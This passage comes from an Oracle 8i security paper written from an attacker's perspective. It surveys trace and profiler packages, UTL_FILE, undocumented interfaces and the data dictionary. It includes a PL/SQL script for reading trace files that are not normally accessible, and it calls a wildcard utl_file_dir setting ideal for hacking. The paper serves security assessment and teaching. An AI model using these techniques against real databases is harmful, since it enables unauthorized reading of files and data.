One of the new standard built in PL/SQL packages for Oracle 8 is the trace package `DBMS_TRACE`. Its installation file for the header is in `$ORACLE_HOME/rdbms/admin/dbmspbt.sql` and the body is in `$ORACLE_HOME/rdbms/admin/prvtpbt.plb`. This package is used for tracing PL/SQL programs. This package is not particularly extensive. It has in fact just three functions that can be called by users. These are :

Function	Description
DBMS_TRACE.SET_PLSQL_TRACE	This function enables trace in the current session. A level number is passed in and this determines the number of levels shown in the trace file.
DBMS_TRACE.CLEAR_PLSQL_TRACE	As its name suggests this function stops tracing in the current session.
DBMS_TRACE.PLSQL_TRACE_VERSION	This function returns the major and minor version numbers of the current PL/SQL trace package.

The trace is written to a trace file in the `user_dump_dest` directory. Again as above an issue with this would be that the trace files

are not actually readable by a user that is not *oracle* or in the group *dba*. This shouldn't be a major issue. The output from the trace shows the levels called in PL/SQL. This could be usefull in potential SQL Injection attacks when the source code is not available and the maximum information possible is needed. An example of the output is shown below:

```
------------ PL/SQL TRACE INFORMATION -----------
Levels set :  1
Trace:  ANONYMOUS BLOCK: Stack depth = 1
Trace:   PACKAGE BODY SYS.DBMS_TRACE: Call to entry at line 1 Stack depth = 2
Trace:    PACKAGE BODY SYS.DBMS_TRACE: Call to entry at line 1 Stack depth = 3
Trace:     PACKAGE BODY SYS.DBMS_SQL: Call to entry at line 1 Stack depth = 4
Trace:      PACKAGE BODY SYS.DBMS_SYS_SQL: Call to entry at line 1 Stack depth = 5
Trace:      PACKAGE BODY SYS.DBMS_SYS_SQL: ICD vector index = 0 Stack depth = 5
Trace:    PACKAGE BODY SYS.DBMS_TRACE: ICD vector index = 1 Stack depth = 3
Trace:    PACKAGE BODY SYS.DBMS_TRACE: ICD vector index = 2 Stack depth = 3
Trace:     PACKAGE BODY SYS.DBMS_SQL: Call to entry at line 1 Stack depth = 4
Trace:      PACKAGE BODY SYS.DBMS_SYS_SQL: Call to entry at line 1 Stack depth = 5
Trace:       PACKAGE BODY SYS.DBMS_SYS_SQL: Call to entry at line 1 Stack depth = 6
```

PL/SQL Profiler

Again as with the PL/SQL trace package the profiler package is not really a security tool, but it can be used to assist the attacker in such as SQL Injection attacks. The profiler package can be used to generate information about PL/SQL packages. As with the trace package this could be useful in helping out an SQL Injection attack.

There are three main things to do when collecting profiler statistics as follows:

- Start Profiler
- Run the PL/SQL
- Stop the profiler

The package is called `DBMS_PROFILER` and is loaded under the *SYS* schema. The package is loaded with the script `$ORACLE_HOME/rdbms/admin/profload.sql`. This script calls two other scripts `$ORACLE_HOME/rdbms/admin/dbmspbp.sql` and `$ORACLE_HOME/rdbms/admin/prvtpbp.plb`. To use the profiler package database tables and other objects need to be created. These are created by running the script `$ORACLE_HOME/rdbms/admin/proftab.sql`. This script can be executed under the schema of the user of the profiler or in a general schema such as *SYS*.

Two reports are available to show the results of a profiling session both in `$ORACLE_HOME/rdbms/admin`, called `profrep.sql` and `profsum.sql`.

UTL_FILE Built in package

Oracle supplies a built in package called `UTL_FILE`. This package can be used to read and write files to a pre-defined Operating System directory. This directory is an initialisation parameter. To find this directory do the following.

```
SQL> show parameter utl_file_dir
utl_file_dir                         string                 C:\Oracle\Admin|PENT
SQL>
```

This parameter can have multiple directories defined. It is possible to utilise this package to read the text files in these directories. These could be trace files or could be application files that you would want to read. These files, even though they are created by

application users are only readable by the software owner, usually oracle and members of the *OSDBA* group, usually *dba*. File permissions and umasks also have to be taken into account. Because it is possible to write programs to use this package and access the directories set by utl_file_dir it is potentially possible to read files and data you shouldn't be able to.

There is one further setting for `utl_file_dir` that is very good for hacking. This parameter can be set to "*", and I have seen this a number of times as its the lazy setting, or done during testing and not changed. This value means that the package `UTL_FILE` can be used to write to any directory in the system where oracle has write permissions, GREAT !!. Quite often databases have the `utl_file_dir` is set to the `user_dump_dest`. If this is the case then it should be possible to be able to read trace files you wouldn't ordinarily have access to. An example piece of code to read a specific trace file is as follows. This is a simple piece of code but can be changed to search for specific phrases or words.

One major issue is evident with this package, that is there is no facility to list files in a directory. If you can deduce the file name then even though you cannot see it, and if the `utl_file_dir` is set favourably then you can read the data. The trace files on Unix follow the form ora_[SID]_[PID].trc. here is the sample code:

```
--
-- read_trc.sql
--
declare
        fptr    utl_file.file_type;
        buff    varchar2(2048);
begin
        fptr:=utl_file.fopen('/db001/app/oracle/admin/udump','ora_678.trc','R');
        loop
                utl_file.get_line(fptr,buff);
                dbms_output.put_line(buff);
        end loop;
exception
        when no_data_found then
                utl_file.fclose(fptr);
        when utl_file.invalid_path  then
                dbms_output.put_line('invalid path');
                raise_application_error(-20100,'file error');
        when utl_file.invalid_mode  then
                dbms_output.put_line('invalid_mode');
                raise_application_error(-20100,'file error');
        when utl_file.invalid_filehandle  then
                dbms_output.put_line('invalid_filehandle');
                raise_application_error(-20100,'file error');
        when utl_file.invalid_operation  then
                dbms_output.put_line('invalid_operation');
                raise_application_error(-20100,'file error');
        when utl_file.read_error  then
                dbms_output.put_line('read_error');
                raise_application_error(-20100,'file error');
        when utl_file.write_error  then
                dbms_output.put_line('write_error');
                raise_application_error(-20100,'file error');
        when utl_file.internal_error  then
                dbms_output.put_line('internal_error');
                raise_application_error(-20100,'file error');
        when others then
                dbms_output.put_line('un-handled');
                raise_application_error(-20100,'file error');
end;
```

```
/
```

This code opens a file and reads each line from it and prints that line to standard out. The code could be changed into a procedure to allow file names to be passed into it.

un-documented C interfaces

There is a tantalising 'C' interface to the SGA hinted at in two 'C' header files included with an Oracle 8i installation in the directory `$ORACLE_HOME/rdbms/demo/include`. These are the files `kusapi.h` and `kustags.h`. These originally are part of the *VMS* C interface to the SGA on Oracle *RDB* (Previously DEC *RDB*). There are a number of example programs on Oracle's Metalink website, but I can find nothing elsewhere on the Internet and nothing relating to using this interface on Oracle 8i.

The Oracle Kernel is layered and the layer exposed to public use is known as the *OCI (Oracle Call Interface)* layer. This layer is the well documented C programming interface to Oracle. The Oracle kernel is written in C. The layer below this is known as the *UPI (User Program Interface)*. *OCI* is based on the *UPI* and some facilities available in Oracle are only available in this interface. Some of the Oracle tools make direct calls to this interface. The *UPI* is not documented.

The Oracle pre-compilers also call the *UPI* directly via the undocumented *SQLLIB* library. This library is an un-documented alternative to *OCI*

x$, $ and system tablespace

The database structure is controlled and stored in the system datafile and the objects are referred to as the dollar tables. Oracle also as mentioned in places throughout this document uses a set of tables called the `x$` tables. The tables are actually not really tables stored to disk, they are in fact 'C' structs in the SGA that Oracle have allowed access to using SQL. These are linked lists and various performance and usage data that changes on the fly as Oracle operates. The purpose of this section is to bring attention to the fact that they exist. The following SQL shows how the full list of `x$` tables can be selected.

```
SQL> select *
  2  from v$fixed_table;

NAME                           OBJECT_ID TYPE  TABLE_NUM
------------------------------ --------- ----- ---------
X$KQFTA                        4.295E+09 TABLE         0
X$KQFVI                        4.295E+09 TABLE         1
X$KQFVT                        4.295E+09 TABLE         2
X$KQFDT                        4.295E+09 TABLE         3
X$KQFCO                        4.295E+09 TABLE         4
...
...
X$KGLBODY                      4.295E+09 TABLE     65537
X$KGLTRIGGER                   4.295E+09 TABLE     65537

NAME                           OBJECT_ID TYPE  TABLE_NUM
------------------------------ --------- ----- ---------
X$KGLINDEX                     4.295E+09 TABLE     65537
X$KGLCLUSTER                   4.295E+09 TABLE     65537
X$KGLCURSOR                    4.295E+09 TABLE     65537

612 rows selected.

SQL>
```

The source code for all of the fixed views known as the V$ views can be retrieved from the view V$FIXED_VIEW_DEFINITION. An example for v$parameter is shown below.

```
SQL> select view_definition
  2  from v$fixed_view_definition
  3  where view_name='V$PARAMETER';

VIEW_DEFINITION
--------------------------------------------------------------------------------
--------------
select  NUM , NAME , TYPE , VALUE , ISDEFAULT , ISSES_MODIFIABLE , ISSYS_MODIFIABLE ,
ISMODIFIED , I
SADJUSTED , DESCRIPTION from GV$PARAMETER where inst_id = USERENV('Instance')

SQL> edit
Wrote file afiedt.buf

  1  select view_definition
  2  from v$fixed_view_definition
  3* where view_name='GV$PARAMETER'
SQL> /

VIEW_DEFINITION
--------------------------------------------------------------------------------
--------------
select x.inst_id,x.indx+1,ksppinm,ksppity,ksppstvl,ksppstdf,
decode(bitand(ksppiflg/256,1),1,'TRUE'
,'FALSE'),  decode(bitand(ksppiflg/65536,3),1,'IMMEDIATE',2,'DEFERRED',
3,'IMMEDIATE','FALSE'),
decode(bitand(ksppstvf,7),1,'MODIFIED',4,'SYSTEM_MOD','FALSE'),  decod
e(bitand(ksppstvf,2),2,'TRUE','FALSE'),  ksppdesc from x$ksppi x, x$ksppcv y where
(x.indx = y.indx)
and  (translate(ksppinm,'_','#') not like '#%' or  (translate(ksppinm,'_','#') like
'#%'and ksppstd
f = 'FALSE'))
SQL>
```

The first select shows that the actual view is based on the global view GV$PARAMETER. These views were introduced for the parallel server so that a view of the Oracle internals can be taken across all instances. So doing a second select for the source of the actual global view shows us that Oracle bases most of its internal workings on x$ and $ tables.

Some of the x$ tables are documented but most are not, and those that are are not fully documented. The structure and usage changes regularly and even between minor versions of Oracle. Studying the x$ tables will probably not lead to many security related issues, but will enhance knowledge of how oracle works.

The other class of tables used as part of the data dictionary are owned by *SYS* and are known as the dollar tables. These tables store the meta data of all of the objects in the database. The code that creates most of them is contained in $ORACLE_HOME/rdbms/admin/sql.bsq. It is worth studying this file to see how Oracle is structured internally. Also as in the example in the section about reading view source code, it is worth studying the source code of views owned by *SYS* to see how Oracle works and operates internally.

```
SQL> col object_name for a30
SQL> col object_type for a30
SQL> select object_name,object_type
```

```
  2  from dba_objects
  3  where owner='SYS';

OBJECT_NAME                    OBJECT_TYPE
------------------------------ -----------------------------

ASSOC2                         INDEX
ASSOCIATION$                   TABLE
ATEMPIND$                      INDEX
ATEMPTAB$                      TABLE
ATTRCOL$                       TABLE
ATTRIBUTE$                     TABLE
AUD$                           TABLE
AUDIT$                         TABLE
AUDIT_ACTIONS                  TABLE
AUDSES$                        SEQUENCE

DBA_ALL_TABLES                 VIEW
DBA_ANALYZE_OBJECTS            VIEW
sun/tools/tree/WhileStatement  JAVA CLASS

6279 rows selected.

SQL> spool off
```

The objects owned by *SYS* are extensive. Looking into what *SYS* owns can give a good insight into how Oracle works. The data dictionary is based around all of the tables called the dollar tables. There are a number of views which use the dollar tables and the source code for these can be studied to see the relationships between the tables. I have searched the internet with a view to finding an ER diagram of the dollar and x$ tables but not found one. Watch this space.

Other known Oracle exploits

There are quite a number of known exploits with which a hacker can gain access to an oracle database. These are not discussed these in this document as they are already published elsewhere. Pentest Limited are currently compiling a database of all known exploits and an Oracle security knowledge base and an Oracle Security Audit. Please contact **John Denneny** at PenTest for details. Contact details are available on the web site www.pentest-limited.com.

links to useful sites and info

There are a large amount of resources available from the web on Oracle, Oracle Internals, Oracle tuning and not as much on Oracle security. Some security information can be found by searching Tuning sites as these guys are the experts on the internals of Oracle. As i have said before the key to hacking or securing Oracle is understanding all of the tools and the *RDBMS*. Here is a list of some key Oracle and security resources.

- www.securityfocus.com
- www.oreilly.com
- List to be expanded shortly.

Bibliography

Some of the information included was researched from various web sites and some Oracle books. The following is a list of sources used.

- Oracle 8i Internal Services by Steve Adams

- List to be expanded shortly.

Conclusions

I started out on this paper with the intention of exploring the tools and various components of the Oracle *RDBMS* from a simple overview point of view, to show where possible holes exist. Where the various tools and interfaces can be used to find out information and access data. Also to describe some of the ways Oracle actually stores data and how to access that data easily and more importantly to see how the data is organised in the database and who owns it. The paper unfortunately grew and grew as I thought I should add just another important section. I hope that the papers size does not detract from reading this document. I have kept the focus to be from a hackers point of view and suggested ways in and ways of finding and accessing data. Because of the size of the paper I decided to keep this thread and not to concentrate on listing possible solutions. If any reader wishes to hear our views on solutions please do not hesitate to contact www.pentest-limited.com.
